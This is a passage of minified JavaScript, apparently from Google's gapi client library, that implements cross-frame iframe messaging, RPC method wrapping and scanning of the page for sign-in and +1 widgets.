Yj=_.Xj=_.Xj||{};window.___jsl=window.___jsl||{};Yj.Mx={E8:function(){return window.___jsl.bsh},iH:function(){return window.___jsl.h},KC:function(a){window.___jsl.bsh=a},qZ:function(a){window.___jsl.h=a}}; _.I=_.I||{};_.I.Yu=function(a,b,c){for(var d=[],e=2,f=arguments.length;e<f;++e)d.push(arguments[e]);return function(){for(var c=d.slice(),e=0,f=arguments.length;e<f;++e)c.push(arguments[e]);return b.apply(a,c)}};_.I.Rq=function(a){var b,c,d={};for(b=0;c=a[b];++b)d[c]=c;return d}; _.I=_.I||{}; (function(){function a(a,b){return String.fromCharCode(b)}var b={0:!1,10:!0,13:!0,34:!0,39:!0,60:!0,62:!0,92:!0,8232:!0,8233:!0,65282:!0,65287:!0,65308:!0,65310:!0,65340:!0};_.I.escape=function(a,b){if(a){if("string"===typeof a)return _.I.Ft(a);if("Array"===typeof a){var c=0;for(b=a.length;c<b;++c)a[c]=_.I.escape(a[c])}else if("object"===typeof a&&b){b={};for(c in a)a.hasOwnProperty(c)&&(b[_.I.Ft(c)]=_.I.escape(a[c],!0));return b}}return a};_.I.Ft=function(a){if(!a)return a;for(var c=[],e,f,h=0,k= a.length;h<k;++h)e=a.charCodeAt(h),f=b[e],!0===f?c.push("&#",e,";"):!1!==f&&c.push(a.charAt(h));return c.join("")};_.I.x$=function(b){return b?b.replace(/&#([0-9]+);/g,a):b}})(); _.O={};_.op={};window.iframer=_.op; _.O.Ia=_.O.Ia||{};_.O.Ia.fQ=function(a){try{return!!a.document}catch(b){}return!1};_.O.Ia.DH=function(a){var b=a.parent;return a!=b&&_.O.Ia.fQ(b)?_.O.Ia.DH(b):a};_.O.Ia.Z8=function(a){var b=a.userAgent||"";a=a.product||"";return 0!=b.indexOf("Opera")&&-1==b.indexOf("WebKit")&&"Gecko"==a&&0<b.indexOf("rv:1.")}; var Mr,Nr,Or,Qr,Rr,Sr,Xr,Yr,Zr,$r,bs,cs,ds,fs,gs,is;Mr=function(){_.O.tI++;return["I",_.O.tI,"_",(new Date).getTime()].join("")};Nr=function(a){return a instanceof Array?a.join(","):a instanceof Object?_.df(a):a};Or=function(){};Qr=function(a){a&&a.match(Pr)&&_.le("googleapis.config/gcv",a)};Rr=function(a){_.Xj.Mx.qZ(a)};Sr=function(a){_.Xj.Mx.KC(a)};_.Tr=function(a,b){b=b||{};for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}; _.Vr=function(a,b,c,d,e){var f=[],h;for(h in a)if(a.hasOwnProperty(h)){var k=b,l=c,n=a[h],p=d,q=Ur(h);q[k]=q[k]||{};p=_.I.Yu(p,n);n._iframe_wrapped_rpc_&&(p._iframe_wrapped_rpc_=!0);q[k][l]=p;f.push(h)}if(e)for(h in _.O.tn)_.O.tn.hasOwnProperty(h)&&f.push(h);return f.join(",")};Xr=function(a,b,c){var d={};if(a&&a._methods){a=a._methods.split(",");for(var e=0;e<a.length;e++){var f=a[e];d[f]=Wr(f,b,c)}}return d}; Yr=function(a){if(a&&a.disableMultiLevelParentRelay)a=!1;else{var b;if(b=_.op&&_.op._open&&"inline"!=a.style&&!0!==a.inline)a=a.container,b=!(a&&("string"==typeof a&&window.document.getElementById(a)||window.document==(a.ownerDocument||a.document)));a=b}return a};Zr=function(a,b){var c={};b=b.params||{};for(var d in a)"#"==d.charAt(0)&&(c[d.substring(1)]=a[d]),0==d.indexOf("fr-")&&(c[d.substring(3)]=a[d]),"#"==b[d]&&(c[d]=a[d]);for(var e in c)delete a["fr-"+e],delete a["#"+e],delete a[e];return c}; $r=function(a){if(":"==a.charAt(0)){var b=_.H("iframes/"+a.substring(1));a={};_.Vd(b,a);(b=a.url)&&(a.url=_.In(b));a.params||(a.params={});return a}return{url:_.In(a)}};bs=function(a){function b(){}b.prototype=as.prototype;a.prototype=new b};cs=function(a){return _.O.Rr[a]};ds=function(a,b){_.O.Rr[a]=b};fs=function(a){a=a||{};"auto"===a.height&&(a.height=_.Jm.Xc());var b=window&&es&&es.Na();b?b.DK(a.width||0,a.height||0):_.op&&_.op._resizeMe&&_.op._resizeMe(a)};gs=function(a){Qr(a)}; _.hs=function(){return _.Nd.location.origin||_.Nd.location.protocol+"//"+_.Nd.location.host};is=function(a){var b=_.Xd(a.location.href,"urlindex");if(b=_.Td(_.ce,"fUrl",[])[b]){var c=a.location.hash;b+=/#/.test(b)?c.replace(/^#/,"&"):c;a.location.replace(b)}}; if(window.ToolbarApi)es=window.ToolbarApi,es.Na=window.ToolbarApi.getInstance,es.prototype=window.ToolbarApi.prototype,_.g=es.prototype,_.g.openWindow=es.prototype.openWindow,_.g.XF=es.prototype.closeWindow,_.g.nL=es.prototype.setOnCloseHandler,_.g.KF=es.prototype.canClosePopup,_.g.DK=es.prototype.resizeWindow;else{var es=function(){},js=null;es.Na=function(){!js&&window.external&&window.external.GTB_IsToolbar&&(js=new es);return js};_.g=es.prototype;_.g.openWindow=function(a){return window.external.GTB_OpenPopup&& window.external.GTB_OpenPopup(a)};_.g.XF=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.g.nL=function(a,b){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,b)};_.g.KF=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.g.DK=function(a,b){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,b)};window.ToolbarApi=es;window.ToolbarApi.getInstance=es.Na}; var ks=function(){_.K.register("_noop_echo",function(){this.callback(_.O.RS(_.O.Tj[this.f]))})},ls=function(){window.setTimeout(function(){_.K.call("..","_noop_echo",_.O.pX)},0)},Wr=function(a,b,c){var d=function(d){var e=Array.prototype.slice.call(arguments,0),h=e[e.length-1];if("function"===typeof h){var k=h;e.pop()}e.unshift(b,a,k,c);_.K.call.apply(_.K,e)};d._iframe_wrapped_rpc_=!0;return d},Ur=function(a){_.O.Lv[a]||(_.O.Lv[a]={},_.K.register(a,function(b,c){var d=this.f;if(!("string"!=typeof b|| b in{}||d in{})){var e=this.callback,f=_.O.Lv[a][d],h;f&&Object.hasOwnProperty.call(f,b)?h=f[b]:Object.hasOwnProperty.call(_.O.tn,a)&&(h=_.O.tn[a]);if(h)return d=Array.prototype.slice.call(arguments,1),h._iframe_wrapped_rpc_&&e&&d.push(e),h.apply({},d)}_.Sa(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',b,'" from frame "',d,'".'].join(""));return null}));return _.O.Lv[a]}; _.O.cQ=function(a,b,c){var d=Array.prototype.slice.call(arguments);_.O.qH(function(a){a.sameOrigin&&(d.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.K.call.apply(_.K,d))})};_.O.RX=function(a,b){_.K.register(a,b)}; var Pr=/^[-_.0-9A-Za-z]+$/,ms={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"},ns={onBeforeParentOpen:"beforeparentopen"},os={onOpen:function(a){var b=a.Ob();a.Bf(b.container||b.element);return a},onClose:function(a){a.remove()}};_.O.hn=function(a){var b=_.D();_.Vd(_.wn,b);_.Vd(a,b);return b}; var as=function(a,b,c,d,e,f,h,k){this.config=$r(a);this.openParams=this.fr=b||{};this.params=c||{};this.methods=d;this.ww=!1;ps(this,b.style);this.jp={};qs(this,function(){var a;(a=this.fr.style)&&_.O.Rr[a]?a=_.O.Rr[a]:a?(_.Ra(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=null):a=os;if(a){if("function"===typeof a)var b=a(this);else{var c={};for(b in a){var d=a[b];c[b]="function"===typeof d?_.I.Yu(a,d,this):d}b=c}for(var h in e)a=b[h],"function"===typeof a&&rs(this, e[h],_.I.Yu(b,a))}f&&rs(this,"close",f)});this.Ki=this.ac=h;this.HB=(k||[]).slice();h&&this.HB.unshift(h.ka())};as.prototype.Ob=function(){return this.fr};as.prototype.Nj=function(){return this.params};as.prototype.Xt=function(){return this.methods};as.prototype.Qc=function(){return this.Ki};var ps=function(a,b){a.ww||((b=b&&!_.O.Rr[b]&&_.O.wy[b])?(a.vy=[],b(function(){a.ww=!0;for(var b=0,d=a.vy.length;b<d;++b)a.vy[b].call(a)})):a.ww=!0)},qs=function(a,b){a.ww?b.call(a):a.vy.push(b)}; as.prototype.Uc=function(a,b){qs(this,function(){rs(this,a,b)})};var rs=function(a,b,c){a.jp[b]=a.jp[b]||[];a.jp[b].push(c)};as.prototype.cm=function(a,b){qs(this,function(){var c=this.jp[a];if(c)for(var d=0,e=c.length;d<e;++d)if(c[d]===b){c.splice(d,1);break}})}; as.prototype.Og=function(a,b){var c=this.jp[a];if(c)for(var d=Array.prototype.slice.call(arguments,1),e=0,f=c.length;e<f;++e)try{var h=c[e].apply({},d)}catch(k){_.Sa(['Exception when calling callback "',a,'" with exception "',k.name,": ",k.message,'".'].join(""))}return h}; var ss=function(a){return"number"==typeof a?{value:a,oz:a+"px"}:"100%"==a?{value:100,oz:"100%",QI:!0}:null},ts=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ms,e,f,h);this.id=b.id||Mr();this.wr=b.rpctoken&&String(b.rpctoken)||Math.round(1E9*(0,_.ck)());this.WU=Zr(this.params,this.config);this.ez={};qs(this,function(){this.Og("open");_.Tr(this.ez,this)})};bs(ts);_.g=ts.prototype; _.g.Bf=function(a,b){if(!this.config.url)return _.Sa("Cannot open iframe, empty URL."),this;var c=this.id;_.O.Tj[c]=this;var d=_.Tr(this.methods);d._ready=this.uv;d._close=this.close;d._open=this.vv;d._resizeMe=this.Yn;d._renderstart=this.PJ;var e=this.WU;this.wr&&(e.rpctoken=this.wr);e._methods=_.Vr(d,c,"",this,!0);this.el=a="string"===typeof a?window.document.getElementById(a):a;d={};d.id=c;if(b){d.attributes=b;var f=b.style;if("string"===typeof f){if(f){var h=[];f=f.split(";");for(var k=0,l=f.length;k< l;++k){var n=f[k];if(0!=n.length||k+1!=l)n=n.split(":"),2==n.length&&n[0].match(/^[ a-zA-Z_-]+$/)&&n[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?h.push(n.join(":")):_.Sa(['Iframe style "',f[k],'" not allowed.'].join(""))}h=h.join(";")}else h="";b.style=h}}this.Ob().allowPost&&(d.allowPost=!0);this.Ob().forcePost&&(d.forcePost=!0);d.queryParams=this.params;d.fragmentParams=e;d.paramsSerializer=Nr;this.Qg=_.Kn(this.config.url,a,d);a=this.Qg.getAttribute("data-postorigin")||this.Qg.src;_.O.Tj[c]=this;_.K.ew(this.id, this.wr);_.K.Ph(this.id,a);return this};_.g.le=function(a,b){this.ez[a]=b};_.g.ka=function(){return this.id};_.g.Ha=function(){return this.Qg};_.g.$a=function(){return this.el};_.g.Ze=function(a){this.el=a};_.g.uv=function(a){var b=Xr(a,this.id,"");this.Ki&&"function"==typeof this.methods._ready&&(a._methods=_.Vr(b,this.Ki.ka(),this.id,this,!1),this.methods._ready(a));_.Tr(a,this);_.Tr(b,this);this.Og("ready",a)};_.g.PJ=function(a){this.Og("renderstart",a)}; _.g.close=function(a){a=this.Og("close",a);delete _.O.Tj[this.id];return a};_.g.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.parentNode.removeChild(a)}; _.g.vv=function(a){var b=Xr(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.el);if(Yr(a.openParams))new us(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain);else{var c=new ts(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain),d=this;qs(c,function(){var a={childId:c.ka()},f=c.ez;f._toclose=c.close;a._methods=_.Vr(f,d.id,c.id,c,!1);b._onopen(a)})}}; _.g.Yn=function(a){if(void 0===this.Og("resize",a)&&this.Qg){var b=ss(a.width);null!=b&&(this.Qg.style.width=b.oz);a=ss(a.height);null!=a&&(this.Qg.style.height=a.oz);this.Qg.parentElement&&(null!=b&&b.QI||null!=a&&a.QI)&&(this.Qg.parentElement.style.display="block")}}; var us=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,e,f,h);this.url=a;this.xm=null;this.cC=Mr();qs(this,function(){this.Og("beforeparentopen");var a=_.Tr(this.methods);a._onopen=this.fX;a._ready=this.uv;a._onclose=this.dX;this.params._methods=_.Vr(a,"..",this.cC,this,!0);a={};for(c in this.params)a[c]=Nr(this.params[c]);var b=this.config.url;if(this.fr.hideUrlFromParent){var c=window.name;var d=b;b=_.ln(this.config.url,this.params,{},Nr);var e=a;a={};a._methods=e._methods;a["#opener"]=e["#opener"]; a["#urlindex"]=e["#urlindex"];a["#opener"]&&void 0!=e["#urlindex"]?(a["#opener"]=c+","+a["#opener"],c=d):(d=_.Td(_.ce,"fUrl",[]),e=d.length,d[e]=b,_.ce.rUrl=is,a["#opener"]=c,a["#urlindex"]=e,c=_.Xj.Qa(_.Nd.location.href),b=_.H("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c+=b);b=c}_.op._open({url:b,openParams:this.fr,params:a,proxyId:this.cC,openedByProxyChain:this.HB})})};bs(us);us.prototype.iT=function(){return this.xm}; us.prototype.fX=function(a){this.xm=a.childId;var b=Xr(a,"..",this.xm);_.Tr(b,this);this.close=b._toclose;_.O.Tj[this.xm]=this;this.Ki&&this.methods._onopen&&(a._methods=_.Vr(b,this.Ki.ka(),this.xm,this,!1),this.methods._onopen(a))};us.prototype.uv=function(a){var b=String(this.xm),c=Xr(a,"..",b);_.Tr(a,this);_.Tr(c,this);this.Og("ready",a);this.Ki&&this.methods._ready&&(a._methods=_.Vr(c,this.Ki.ka(),b,this,!1),this.methods._ready(a))}; us.prototype.dX=function(a){if(this.Ki&&this.methods._onclose)this.methods._onclose(a);else return a=this.Og("close",a),delete _.O.Tj[this.xm],a}; var vs=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,f,h);this.id=b.id||Mr();this.v_=e;d._close=this.close;this.onClosed=this.JJ;this.HM=0;qs(this,function(){this.Og("beforeparentopen");var b=_.Tr(this.methods);this.params._methods=_.Vr(b,"..",this.cC,this,!0);b={};b.queryParams=this.params;a=_.Bn(_.Qd,this.config.url,this.id,b);var c=e.openWindow(a);this.canAutoClose=function(a){a(e.KF(c))};e.nL(c,this);this.HM=c})};bs(vs); vs.prototype.close=function(a){a=this.Og("close",a);this.v_.XF(this.HM);return a};vs.prototype.JJ=function(){this.Og("close")}; (function(){_.O.Tj={};_.O.Rr={};_.O.wy={};_.O.tI=0;_.O.Lv={};_.O.tn={};_.O.Bv=null;_.O.Av=[];_.O.pX=function(a){var b=!1;try{if(null!=a){var c=window.parent.frames[a.id];b=c.iframer.id==a.id&&c.iframes.openedId_(_.op.id)}}catch(f){}try{_.O.Bv={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:b};for(a=0;a<_.O.Av.length;++a)_.O.Av[a](_.O.Bv);_.O.Av=[]}catch(f){}};_.O.RS=function(a){var b=a&&a.Ki,c=null;b&&(c={},c.id=b.ka(),c.proxyChain= a.HB);return c};ks();if(window.parent!=window){var a=_.I.xc();a.gcv&&Qr(a.gcv);var b=a.jsh;b&&Rr(b);_.Tr(Xr(a,"..",""),_.op);_.Tr(a,_.op);ls()}_.O.Bb=cs;_.O.Xb=ds;_.O.pZ=gs;_.O.resize=fs;_.O.ZR=function(a){return _.O.wy[a]};_.O.NC=function(a,b){_.O.wy[a]=b};_.O.CK=fs;_.O.PZ=gs;_.O.ou={};_.O.ou.get=cs;_.O.ou.set=ds;_.O.EP=function(a,b){Ur(a);_.O.tn[a]=b||window[a]};_.O.s8=function(a){delete _.O.tn[a]};_.O.open=function(a,b,e,f,h,k){3==arguments.length?f={}:4==arguments.length&&"function"===typeof f&& (h=f,f={});var c="bubble"===b.style&&es?es.Na():null;return c?new vs(a,b,e,f,c,h,k):Yr(b)?new us(a,b,e,f,h,k):new ts(a,b,e,f,h,k)};_.O.close=function(a,b){_.op&&_.op._close&&_.op._close(a,b)};_.O.ready=function(a,b,e){2==arguments.length&&"function"===typeof b&&(e=b,b={});var c=a||{};"height"in c||(c.height=_.Jm.Xc());c._methods=_.Vr(b||{},"..","",_.op,!0);_.op&&_.op._ready&&_.op._ready(c,e)};_.O.qH=function(a){_.O.Bv?a(_.O.Bv):_.O.Av.push(a)};_.O.jX=function(a){return!!_.O.Tj[a]};_.O.kS=function(){return["https://ssl.gstatic.com/gb/js/", _.H("googleapis.config/gcv")].join("")};_.O.jK=function(a){var b={mouseover:1,mouseout:1};if(_.op._event)for(var c=0;c<a.length;c++){var f=a[c];f in b&&_.I.Hs(window.document,f,function(a){_.op._event({event:a.type,timestamp:(new Date).getTime()})},!0)}};_.O.zZ=Rr;_.O.KC=Sr;_.O.gJ=Or;_.O.vI=_.op})(); _.w("iframes.allow",_.O.EP);_.w("iframes.callSiblingOpener",_.O.cQ);_.w("iframes.registerForOpenedSibling",_.O.RX);_.w("iframes.close",_.O.close);_.w("iframes.getGoogleConnectJsUri",_.O.kS);_.w("iframes.getHandler",_.O.Bb);_.w("iframes.getDeferredHandler",_.O.ZR);_.w("iframes.getParentInfo",_.O.qH);_.w("iframes.iframer",_.O.vI);_.w("iframes.open",_.O.open);_.w("iframes.openedId_",_.O.jX);_.w("iframes.propagate",_.O.jK);_.w("iframes.ready",_.O.ready);_.w("iframes.resize",_.O.resize); _.w("iframes.setGoogleConnectJsVersion",_.O.pZ);_.w("iframes.setBootstrapHint",_.O.KC);_.w("iframes.setJsHint",_.O.zZ);_.w("iframes.setHandler",_.O.Xb);_.w("iframes.setDeferredHandler",_.O.NC);_.w("IframeBase",as);_.w("IframeBase.prototype.addCallback",as.prototype.Uc);_.w("IframeBase.prototype.getMethods",as.prototype.Xt);_.w("IframeBase.prototype.getOpenerIframe",as.prototype.Qc);_.w("IframeBase.prototype.getOpenParams",as.prototype.Ob);_.w("IframeBase.prototype.getParams",as.prototype.Nj); _.w("IframeBase.prototype.removeCallback",as.prototype.cm);_.w("Iframe",ts);_.w("Iframe.prototype.close",ts.prototype.close);_.w("Iframe.prototype.exposeMethod",ts.prototype.le);_.w("Iframe.prototype.getId",ts.prototype.ka);_.w("Iframe.prototype.getIframeEl",ts.prototype.Ha);_.w("Iframe.prototype.getSiteEl",ts.prototype.$a);_.w("Iframe.prototype.openInto",ts.prototype.Bf);_.w("Iframe.prototype.remove",ts.prototype.remove);_.w("Iframe.prototype.setSiteEl",ts.prototype.Ze); _.w("Iframe.prototype.addCallback",ts.prototype.Uc);_.w("Iframe.prototype.getMethods",ts.prototype.Xt);_.w("Iframe.prototype.getOpenerIframe",ts.prototype.Qc);_.w("Iframe.prototype.getOpenParams",ts.prototype.Ob);_.w("Iframe.prototype.getParams",ts.prototype.Nj);_.w("Iframe.prototype.removeCallback",ts.prototype.cm);_.w("IframeProxy",us);_.w("IframeProxy.prototype.getTargetIframeId",us.prototype.iT);_.w("IframeProxy.prototype.addCallback",us.prototype.Uc);_.w("IframeProxy.prototype.getMethods",us.prototype.Xt); _.w("IframeProxy.prototype.getOpenerIframe",us.prototype.Qc);_.w("IframeProxy.prototype.getOpenParams",us.prototype.Ob);_.w("IframeProxy.prototype.getParams",us.prototype.Nj);_.w("IframeProxy.prototype.removeCallback",us.prototype.cm);_.w("IframeWindow",vs);_.w("IframeWindow.prototype.close",vs.prototype.close);_.w("IframeWindow.prototype.onClosed",vs.prototype.JJ);_.w("iframes.util.getTopMostAccessibleWindow",_.O.Ia.DH);_.w("iframes.handlers.get",_.O.ou.get);_.w("iframes.handlers.set",_.O.ou.set); _.w("iframes.resizeMe",_.O.CK);_.w("iframes.setVersionOverride",_.O.PZ); as.prototype.send=function(a,b,c){_.O.QK(this,a,b,c)};_.op.send=function(a,b,c){_.O.QK(_.op,a,b,c)};as.prototype.register=function(a,b){var c=this;c.Uc(a,function(a){b.call(c,a)})};_.O.QK=function(a,b,c,d){var e=[];void 0!==c&&e.push(c);d&&e.push(function(a){d.call(this,[a])});a[b]&&a[b].apply(a,e)};_.O.Ho=function(){return!0};_.w("iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.O.Ho);_.w("IframeBase.prototype.send",as.prototype.send);_.w("IframeBase.prototype.register",as.prototype.register); _.w("Iframe.prototype.send",ts.prototype.send);_.w("Iframe.prototype.register",ts.prototype.register);_.w("IframeProxy.prototype.send",us.prototype.send);_.w("IframeProxy.prototype.register",us.prototype.register);_.w("IframeWindow.prototype.send",vs.prototype.send);_.w("IframeWindow.prototype.register",vs.prototype.register);_.w("iframes.iframer.send",_.O.vI.send); var Iu=_.O.Xb,Ju={open:function(a){var b=_.ip(a.Ob());return a.Bf(b,{style:_.jp(b)})},attach:function(a,b){var c=_.ip(a.Ob()),d=b.id,e=b.getAttribute("data-postorigin")||b.src,f=/#(?:.*&)?rpctoken=(\d+)/.exec(e);f=f&&f[1];a.id=d;a.wr=f;a.el=c;a.Qg=b;_.O.Tj[d]=a;b=_.Tr(a.methods);b._ready=a.uv;b._close=a.close;b._open=a.vv;b._resizeMe=a.Yn;b._renderstart=a.PJ;_.Vr(b,d,"",a,!0);_.K.ew(a.id,a.wr);_.K.Ph(a.id,e);c=_.O.hn({style:_.jp(c)});for(var h in c)Object.prototype.hasOwnProperty.call(c,h)&&("style"== h?a.Qg.style.cssText=c[h]:a.Qg.setAttribute(h,c[h]))}};Ju.onready=_.kp;Ju.onRenderStart=_.kp;Ju.close=_.lp;Iu("inline",Ju); _.Wj=(window.gapi||{}).load; _.np=_.D(); _.pp=function(a){var b=window;a=(a||b.location.href).match(/.*(\?|#|&)usegapi=([^&#]+)/)||[];return"1"===(0,window.decodeURIComponent)(a[a.length-1]||"")}; var qp,rp,sp,tp,up,vp,zp,Ap;qp=function(a){if(_.Sd.test(Object.keys))return Object.keys(a);var b=[],c;for(c in a)_.Ud(a,c)&&b.push(c);return b};rp=function(a,b){if(!_.gf())try{a()}catch(c){}_.hf(b)};sp={button:!0,div:!0,span:!0};tp=function(a){var b=_.Td(_.ce,"sws",[]);return 0<=_.Xm.call(b,a)};up=function(a){return _.Td(_.ce,"watt",_.D())[a]};vp=function(a){return function(b,c){return a?_.Gn()[c]||a[c]||"":_.Gn()[c]||""}}; _.wp={apppackagename:1,callback:1,clientid:1,cookiepolicy:1,openidrealm:-1,includegrantedscopes:-1,requestvisibleactions:1,scope:1};_.xp=!1; _.yp=function(){if(!_.xp){for(var a=window.document.getElementsByTagName("meta"),b=0;b<a.length;++b){var c=a[b].name.toLowerCase();if(_.vc(c,"google-signin-")){c=c.substring(14);var d=a[b].content;_.wp[c]&&d&&(_.np[c]=d)}}if(window.self!==window.top){a=window.document.location.toString();for(var e in _.wp)0<_.wp[e]&&(b=_.Xd(a,e,""))&&(_.np[e]=b)}_.xp=!0}e=_.D();_.Vd(_.np,e);return e}; zp=function(a){var b;a.match(/^https?%3A/i)&&(b=(0,window.decodeURIComponent)(a));return _.mn(window.document,b?b:a)};Ap=function(a){a=a||"canonical";for(var b=window.document.getElementsByTagName("link"),c=0,d=b.length;c<d;c++){var e=b[c],f=e.getAttribute("rel");if(f&&f.toLowerCase()==a&&(e=e.getAttribute("href"))&&(e=zp(e))&&null!=e.match(/^https?:\/\/[\w\-_\.]+/i))return e}return window.location.href};_.Bp=function(){return window.location.origin||window.location.protocol+"//"+window.location.host}; _.Cp=function(a,b,c,d){return(a="string"==typeof a?a:void 0)?zp(a):Ap(d)};_.Dp=function(a,b,c){null==a&&c&&(a=c.db,null==a&&(a=c.gwidget&&c.gwidget.db));return a||void 0};_.Ep=function(a,b,c){null==a&&c&&(a=c.ecp,null==a&&(a=c.gwidget&&c.gwidget.ecp));return a||void 0}; _.Fp=function(a,b,c){return _.Cp(a,b,c,b.action?void 0:"publisher")};var Gp,Hp,Ip,Jp,Kp,Lp,Np,Mp;Gp={se:"0"};Hp={post:!0};Ip={style:"position:absolute;top:-10000px;width:450px;margin:0px;border-style:none"};Jp="onPlusOne _ready _close _open _resizeMe _renderstart oncircled drefresh erefresh".split(" ");Kp=_.Td(_.ce,"WI",_.D());Lp=["style","data-gapiscan"]; Np=function(a){for(var b=_.D(),c=0!=a.nodeName.toLowerCase().indexOf("g:"),d=0,e=a.attributes.length;d<e;d++){var f=a.attributes[d],h=f.name,k=f.value;0<=_.Xm.call(Lp,h)||c&&0!=h.indexOf("data-")||"null"===k||"specified"in f&&!f.specified||(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Mp(a&&a.height))&&(b.height=String(c));(a=Mp(a&&a.width))&&(b.width=String(a));return b}; _.Pp=function(a,b,c,d,e,f){if(c.rd)var h=b;else h=window.document.createElement("div"),b.setAttribute("data-gapistub",!0),h.style.cssText="position:absolute;width:450px;left:-10000px;",b.parentNode.insertBefore(h,b);f.siteElement=h;h.id||(h.id=_.Op(a));b=_.D();b[">type"]=a;_.Vd(c,b);a=_.Kn(d,h,e);f.iframeNode=a;f.id=a.getAttribute("id")};_.Op=function(a){_.Td(Kp,a,0);return"___"+a+"_"+Kp[a]++};Mp=function(a){var b=void 0;"number"===typeof a?b=a:"string"===typeof a&&(b=(0,window.parseInt)(a,10));return b}; var Qp=function(){},Tp=function(a){var b=a.Wm,c=function(a){c.H.constructor.call(this,a);var b=this.mh.length;this.Hg=[];for(var d=0;d<b;++d)this.mh[d].p8||(this.Hg[d]=new this.mh[d](a))};_.z(c,b);for(var d=[];a;){if(b=a.Wm){b.mh&&_.pe(d,b.mh);var e=b.prototype,f;for(f in e)if(e.hasOwnProperty(f)&&_.Xa(e[f])&&e[f]!==b){var h=!!e[f].c8,k=Rp(f,e,d,h);(h=Sp(f,e,k,h))&&(c.prototype[f]=h)}}a=a.H&&a.H.constructor}c.prototype.mh=d;return c},Rp=function(a,b,c,d){for(var e=[],f=0;f<c.length&&(c[f].prototype[a]=== b[a]||(e.push(f),!d));++f);return e},Sp=function(a,b,c,d){return c.length?d?function(b){var d=this.Hg[c[0]];return d?d[a].apply(this.Hg[c[0]],arguments):this.mh[c[0]].prototype[a].apply(this,arguments)}:b[a].eQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k=this.Hg[c[e]];if(k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)){d=k;break a}}d=!1}return d}:b[a].dQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k= this.Hg[c[e]];k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d);if(null!=k){d=k;break a}}d=void 0}return d}:b[a].AJ?function(b){for(var d=Array.prototype.slice.call(arguments,0),e=0;e<c.length;++e){var k=this.Hg[c[e]];k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)}}:function(b){for(var d=Array.prototype.slice.call(arguments,0),e=[],k=0;k<c.length;++k){var l=this.Hg[c[k]];e.push(l?l[a].apply(l,d):this.mh[c[k]].prototype[a].apply(this,d))}return e}:d||b[a].eQ||b[a].dQ||b[a].AJ? null:Up},Up=function(){return[]};Qp.prototype.jz=function(a){if(this.Hg)for(var b=0;b<this.Hg.length;++b)if(this.Hg[b]instanceof a)return this.Hg[b];return null}; var Vp=function(a){return this.Ya.jz(a)};var Wp,Xp,Yp,Zp,$p=/(?:^|\s)g-((\S)*)(?:$|\s)/,aq={plusone:!0,autocomplete:!0,profile:!0,signin:!0,signin2:!0};Wp=_.Td(_.ce,"SW",_.D());Xp=_.Td(_.ce,"SA",_.D());Yp=_.Td(_.ce,"SM",_.D());Zp=_.Td(_.ce,"FW",[]); var eq=function(a,b){var c;bq.ps0=(new Date).getTime();cq("ps0");a=("string"===typeof a?window.document.getElementById(a):a)||_.Qd;var d=_.Qd.documentMode;if(a.querySelectorAll&&(!d||8<d)){d=b?[b]:qp(Wp).concat(qp(Xp)).concat(qp(Yp));for(var e=[],f=0;f<d.length;f++){var h=d[f];e.push(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.D();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),n=void 0;if(k.getAttribute("data-gapiscan"))h=null; else{var p=l.indexOf("g:");0==p?n=l.substr(2):(p=(p=String(k.className||k.getAttribute("class")))&&$p.exec(p))&&(n=p[1]);h=!n||!(Wp[n]||Xp[n]||Yp[n])||h&&n!==h?null:n}h&&(aq[h]||0==f.nodeName.toLowerCase().indexOf("g:")||0!=qp(Np(f)).length)&&(f.setAttribute("data-gapiscan",!0),_.Td(a,h,[]).push(f))}for(q in a)Zp.push(q);bq.ps1=(new Date).getTime();cq("ps1");if(b=Zp.join(":"))try{_.Wd.load(b,void 0)}catch(t){_.ue(t);return}e=[];for(c in a){d=a[c];var q=0;for(b=d.length;q<b;q++)f=d[q],dq(c,f,Np(f), e,b)}}; var fq=function(a,b){var c=up(a);b&&c?(c(b),(c=b.iframeNode)&&c.setAttribute("data-gapiattached",!0)):_.Wd.load(a,function(){var c=up(a),e=b&&b.iframeNode,f=b&&b.userParams;e&&c?(c(b),e.setAttribute("data-gapiattached",!0)):(c=_.Wd[a].go,"signin2"==a?c(e,f):c(e&&e.parentNode,f))})},dq=function(a,b,c,d,e,f,h){switch(gq(b,a,f)){case 0:a=Yp[a]?a+"_annotation":a;d={};d.iframeNode=b;d.userParams=c;fq(a,d);break;case 1:if(b.parentNode){for(var k in c){if(f=_.Ud(c,k))f=c[k],f=!!f&&"object"===typeof f&&(!f.toString|| 